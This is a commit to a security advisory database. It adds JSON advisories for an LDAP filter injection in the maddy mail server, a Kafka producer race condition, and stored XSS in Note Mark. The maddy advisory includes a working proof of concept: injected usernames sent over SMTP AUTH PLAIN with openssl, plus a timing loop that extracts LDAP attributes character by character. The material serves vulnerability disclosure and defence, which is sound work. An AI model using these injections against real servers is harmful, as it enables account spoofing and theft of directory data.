Skip to content

Commit 8bcac65

Browse files
1 parent 5436999 commit 8bcac65

5 files changed

Lines changed: 377 additions & 8 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5835-4gvc-32pc",
4+
"modified": "2026-04-13T19:22:52Z",
5+
"published": "2026-04-13T19:22:52Z",
6+
"aliases": [
7+
"CVE-2026-40193"
8+
],
9+
"summary": "Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username",
10+
"details": "### Summary\n\nThe `auth.ldap` module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via `strings.ReplaceAll()` without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The `go-ldap/ldap/v3` library—already imported in the same file—provides `ldap.EscapeFilter()` specifically for this purpose, but it is never called.\n\n### Patched version\n\nUpgrade to maddy 0.9.3.\n\n### Details\n\n**Affected file:** `internal/auth/ldap/ldap.go`\n\nThree locations substitute the raw, attacker-controlled `username` into LDAP filter or DN strings with no escaping:\n\n**1. `Lookup()` — line 228 (filter injection)**\n\n```go\nfunc (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {\n // ...\n req := ldap.NewSearchRequest(\n a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n 2, 0, false,\n strings.ReplaceAll(a.filterTemplate, \"{username}\", username), // <-- NO ESCAPING\n []string{\"dn\"}, nil)\n```\n\n**2. `AuthPlain()` — line 255 (DN template injection)**\n\n```go\nfunc (a *Auth) AuthPlain(username, password string) error {\n // ...\n if a.dnTemplate != \"\" {\n userDN = strings.ReplaceAll(a.dnTemplate, \"{username}\", username) // <-- NO ESCAPING\n```\n\n**3. `AuthPlain()` — line 260 (filter injection)**\n\n```go\n } else {\n req := ldap.NewSearchRequest(\n a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n 2, 0, false,\n strings.ReplaceAll(a.filterTemplate, \"{username}\", username), // <-- NO ESCAPING\n []string{\"dn\"}, nil)\n```\n\nThe `go-ldap/ldap/v3` library (v3.4.10, imported at line 17) provides `ldap.EscapeFilter()` which escapes `(`, `)`, `*`, `\\`, and NUL per RFC 4515. It is never called on user input.\n\n**No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.**\n\n### PoC\n\n**Prerequisites:**\n- A maddy instance configured with `auth.ldap` using a `filter` directive\n- An LDAP directory (e.g., OpenLDAP) with at least one user\n- Network access to maddy's SMTP submission port (587) or IMAP port (993/143)\n\n**Step 1: Vulnerable maddy configuration**\n\n```\nauth.ldap ldap_auth {\n urls ldap://ldapserver:389\n bind plain \"cn=admin,dc=example,dc=org\" \"adminpassword\"\n base_dn \"ou=people,dc=example,dc=org\"\n filter \"(&(objectClass=inetOrgPerson)(uid={username}))\"\n}\n\nsubmission tcp://0.0.0.0:587 {\n auth &ldap_auth\n # ...\n}\n```\n\nAssume the LDAP directory contains users `alice` (password: `alice_pass`) and `bob` (password: `bob_pass`).\n\n**Step 2: Verify normal authentication works**\n\n```bash\n# Encode AUTH PLAIN: \\x00alice\\x00alice_pass\nAUTH_BLOB=$(printf '\\x00alice\\x00alice_pass' | base64)\n\n# Connect via SMTP submission with STARTTLS\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# Expected: 235 Authentication succeeded\n```\n\n**Step 3: Boolean-based blind LDAP injection (attribute extraction)**\n\nAn attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.\n\n```bash\n# Scenario: attacker knows bob's password (\"bob_pass\").\n# Goal: extract bob's \"description\" attribute value one character at a time.\n#\n# Injected username: bob)(description=S*\n# Resulting filter: (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))\n#\n# If bob's description starts with \"S\" → filter matches 1 entry (bob)\n# → conn.Bind(bob_DN, \"bob_pass\") succeeds → 235 (SUCCESS)\n# If not → filter matches 0 entries → 535 (FAILURE)\n#\n# By iterating characters, the attacker reconstructs the full attribute value.\n\n# Test: does bob's description start with \"S\"?\nINJECTED='bob)(description=S*'\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# 235 → yes, starts with \"S\"\n\n# Narrow: does it start with \"Se\"?\nINJECTED='bob)(description=Se*'\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\n# ... repeat until full value is extracted\n\n# This works for ANY LDAP attribute: userPassword hashes, mail,\n# telephoneNumber, memberOf, etc.\n```\n\nFor extracting attributes of **other users** (whose password the attacker does not know), a timing side-channel is used instead. The `AuthPlain()` function has two distinct failure paths:\n\n- **0 entries matched** (line 270): returns `ErrUnknownCredentials` immediately — **fast**\n- **1 entry matched, bind fails** (line 275): performs `conn.Bind()` over the network, then returns — **slow** (adds LDAP bind round-trip latency)\n\nBoth return SMTP `535`, but the timing difference is measurable:\n\n```bash\n# Target: extract alice's \"description\" attribute.\n# Attacker does NOT know alice's password.\n#\n# Injected username: alice)(description=S*\n# Resulting filter: (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))\n#\n# If alice's description starts with \"S\":\n# → 1 match → conn.Bind(alice_DN, \"wrong\") → bind fails → 535 (SLOW)\n# If not:\n# → 0 matches → immediate 535 (FAST)\n#\n# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)\n\nfor c in {a..z} {A..Z} {0..9}; do\n INJECTED=\"alice)(description=${c}*\"\n AUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00wrong\" | base64)\n START=$(date +%s%N)\n echo -e \"EHLO test\\r\\nAUTH PLAIN ${AUTH_BLOB}\\r\\nQUIT\\r\\n\" | \\\n openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null\n END=$(date +%s%N)\n ELAPSED=$(( (END - START) / 1000000 ))\n echo \"char='$c' time=${ELAPSED}ms\"\ndone\n# Characters with significantly longer response times indicate a filter match.\n```\n\n### Impact\n\n**Who is affected:** Any maddy deployment that uses the `auth.ldap` module with either the `filter` or `dn_template` directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.\n\n**What an attacker can do:**\n\n1. **Identity spoofing:** An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (`connState.AuthUser` in SMTP, `username` passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.\n\n2. **LDAP directory enumeration:** By injecting wildcard filters (`*`) and observing error responses (e.g., \"too many entries\" vs. \"unknown credentials\"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.\n\n3. **Attribute value extraction via boolean-based blind injection:** An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., `bob)(description=X*`) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.\n\n4. **DN template path traversal:** When `dn_template` is used instead of `filter` (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/foxcpp/maddy"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.9.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/foxcpp/maddy"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/foxcpp/maddy/releases/tag/v0.9.3"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-90"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-13T19:22:52Z",
63+
"nvd_published_at": null
64+
}
65+
}

advisories/unreviewed/2026/04/GHSA-5qcv-4rpc-jp93/GHSA-5qcv-4rpc-jp93.json renamed to advisories/github-reviewed/2026/04/GHSA-5qcv-4rpc-jp93/GHSA-5qcv-4rpc-jp93.json

Lines changed: 91 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,111 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-5qcv-4rpc-jp93",
4-
"modified": "2026-04-07T18:31:34Z",
4+
"modified": "2026-04-13T19:22:21Z",
55
"published": "2026-04-07T15:30:50Z",
66
"aliases": [
77
"CVE-2026-35554"
88
],
9+
"summary": "Apache Kafka Clients: Kafka Producer Message Corruption and Misrouting via Buffer Pool Race Condition",
910
"details": "A race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics.\n\nWhen a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch’s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch—potentially destined for a different topic—reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer.\n\n\nData Confidentiality:\nMessages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic.\n\nData Integrity:\nConsumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data.\n\nThis issue affects Apache Kafka versions ≤ 3.9.1, ≤ 4.0.1, and  ≤ 4.1.1.\n\nKafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Maven",
21+
"name": "org.apache.kafka:kafka-clients"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2.8.0"
29+
},
30+
{
31+
"fixed": "3.9.2"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Maven",
40+
"name": "org.apache.kafka:kafka-clients"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "4.0.0"
48+
},
49+
{
50+
"fixed": "4.0.2"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "Maven",
59+
"name": "org.apache.kafka:kafka-clients"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "4.1.0"
67+
},
68+
{
69+
"fixed": "4.1.2"
70+
}
71+
]
72+
}
73+
]
74+
}
75+
],
1776
"references": [
1877
{
1978
"type": "ADVISORY",
2079
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35554"
2180
},
81+
{
82+
"type": "WEB",
83+
"url": "https://github.com/apache/kafka/pull/21065"
84+
},
85+
{
86+
"type": "WEB",
87+
"url": "https://github.com/apache/kafka/pull/21285"
88+
},
89+
{
90+
"type": "WEB",
91+
"url": "https://github.com/apache/kafka/pull/21286"
92+
},
93+
{
94+
"type": "WEB",
95+
"url": "https://github.com/apache/kafka/pull/21287"
96+
},
97+
{
98+
"type": "WEB",
99+
"url": "https://github.com/apache/kafka/pull/21288"
100+
},
101+
{
102+
"type": "WEB",
103+
"url": "https://github.com/apache/kafka/commit/1df2ac5b2ba4d1b5ed54b895ff6fb9539303ccb5"
104+
},
105+
{
106+
"type": "PACKAGE",
107+
"url": "https://github.com/apache/kafka"
108+
},
22109
{
23110
"type": "WEB",
24111
"url": "https://issues.apache.org/jira/browse/KAFKA-19012"
@@ -37,8 +124,8 @@
37124
"CWE-362"
38125
],
39126
"severity": "HIGH",
40-
"github_reviewed": false,
41-
"github_reviewed_at": null,
127+
"github_reviewed": true,
128+
"github_reviewed_at": "2026-04-13T19:22:21Z",
42129
"nvd_published_at": "2026-04-07T14:16:23Z"
43130
}
44131
}
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-9pr4-rf97-79qh",
4+
"modified": "2026-04-13T19:23:08Z",
5+
"published": "2026-04-13T19:23:08Z",
6+
"aliases": [
7+
"CVE-2026-40262"
8+
],
9+
"summary": "Note Mark has Stored XSS via Unrestricted Asset Upload",
10+
"details": "### Summary\nA stored same-origin XSS vulnerability allows any authenticated user to upload an HTML, SVG, or XHTML file as a note asset and have it executed in a victim’s browser under the application’s origin. Because the application serves these files inline without a safe content type and without `nosniff`, browsers can sniff and render active content, giving the attacker access to authenticated Note Mark API actions as the victim.\n\n### Details\nThis issue results from three compounding flaws in the asset handling and delivery path.\n\n#### 1. Asset delivery can be used as an attack vector\nThe asset delivery route can be used to deliver attacker-controlled uploaded content directly to a victim by URL.\n\nRelevant route:\n- `handlers/assets.go:40`\n\n```go\nhuma.Get(api, \"/api/notes/{noteID}/assets/{assetID}\", h.GetNoteAssetContentByID)\n```\n\nThis makes the uploaded asset reachable by direct navigation, which provides the delivery mechanism for the payload.\n\n#### 2. Text-based active content is served with an empty `Content-Type`\nThe asset handler relies on `h2non/filetype` for content-type detection:\n\n- `handlers/assets.go:147`\n\n```go\nkind, _ := filetype.Match(buf)\nif kind != filetype.Unknown {\n contentType = kind.MIME.Value\n}\n```\n\nThe detection library uses magic-byte matching and does not identify text-based formats such as HTML, SVG, JavaScript, XML, or XHTML. For those files, `filetype.Match` returns `Unknown`, leaving `Content-Type` unset or empty.\n\nAs a result, uploaded active content is served without an authoritative MIME type.\n\n#### 3. Files are rendered inline and sniffed by the browser\nThe asset response is sent with inline disposition:\n\n- `handlers/assets.go:153`\n\n```go\nw.Header().Set(\"Content-Disposition\", fmt.Sprintf(\"inline; filename=\\\"%s\\\"\", asset.Name))\n```\n\nAt the same time, the response does not set:\n\n```http\nX-Content-Type-Options: nosniff\n```\n\nThis combination is dangerous:\n- the uploaded file contains attacker-controlled active markup\n- the browser is instructed to render it inline\n- the response does not provide a trustworthy content type\n- content sniffing is not disabled\n\nUnder these conditions, browsers may detect HTML or SVG content and execute embedded JavaScript. Because the asset is served from the application’s own origin, the script runs with same-origin access to the application and its authenticated APIs.\n\nThis turns an uploaded asset into a stored XSS payload that executes when a victim opens the asset URL.\n\n### PoC\nThe issue can be reproduced by uploading a text-based active content file such as HTML or SVG as a note asset, then opening the served asset URL in a browser and observing that script executes in the context of the application origin.\n\n### Impact\n- **Type:** Stored same-origin cross-site scripting (XSS)\n- **Who is impacted:** Any user who can be induced to open a malicious asset URL, and any deployment allowing asset uploads\n- **Security impact:** An attacker can execute JavaScript in the victim’s authenticated application context, allowing access to private notes, books, profile data, and authenticated API actions\n- **Privileges required:** A valid low-privilege user account capable of uploading note assets\n- **User interaction:** Required, because the victim must navigate to the malicious asset URL\n- **Scope:** Changed, because attacker-controlled content executes in the victim’s origin and impacts other users rather than remaining confined to the attacker’s own account",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/enchant97/note-mark/backend"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.0.0-20260411145018-6bb62842ccb9"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-9pr4-rf97-79qh"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/enchant97/note-mark/commit/6bb62842ccb956870b9bf183629eba95e326e5e3"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/enchant97/note-mark"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/enchant97/note-mark/releases/tag/v0.19.2"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-434",
59+
"CWE-79"
60+
],
61+
"severity": "HIGH",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-04-13T19:23:08Z",
64+
"nvd_published_at": null
65+
}
66+
}

0 commit comments

Comments
 (0)